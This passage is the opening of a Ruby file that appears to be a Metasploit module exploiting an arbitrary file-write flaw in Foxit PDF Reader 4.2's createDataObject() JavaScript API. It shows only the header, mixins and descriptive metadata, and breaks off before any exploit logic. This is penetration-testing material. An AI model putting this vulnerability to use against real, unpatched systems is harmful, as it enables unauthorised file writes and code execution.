##
# $Id: foxit_reader_filewrite.rb 11955 2011-03-14 12:01:55Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE
	
	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Foxit PDF Reader 4.2 Javascript File Write',
			'Description'    => %q{
					This module exploits an unsafe Javascript API implemented in Foxit PDF Reader
					version 4.2. The createDataObject() Javascript API function allows for writing
					arbitrary files to the file system. This issue was fixed in version 4.3.1.0218.
					
					Note: This exploit uses the All Users directory currently, which required 
					administrator privileges to write to. This means an administrative user has to
					open the file to be successful. Kind of lame but thats how it goes sometimes in
					the world of file write bugs.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 
			[ 
				'bannedit',  # metasploit module
				'Chris Evans' # Initial discover and exploit
			],
			'Version'        => '$Revision: 11955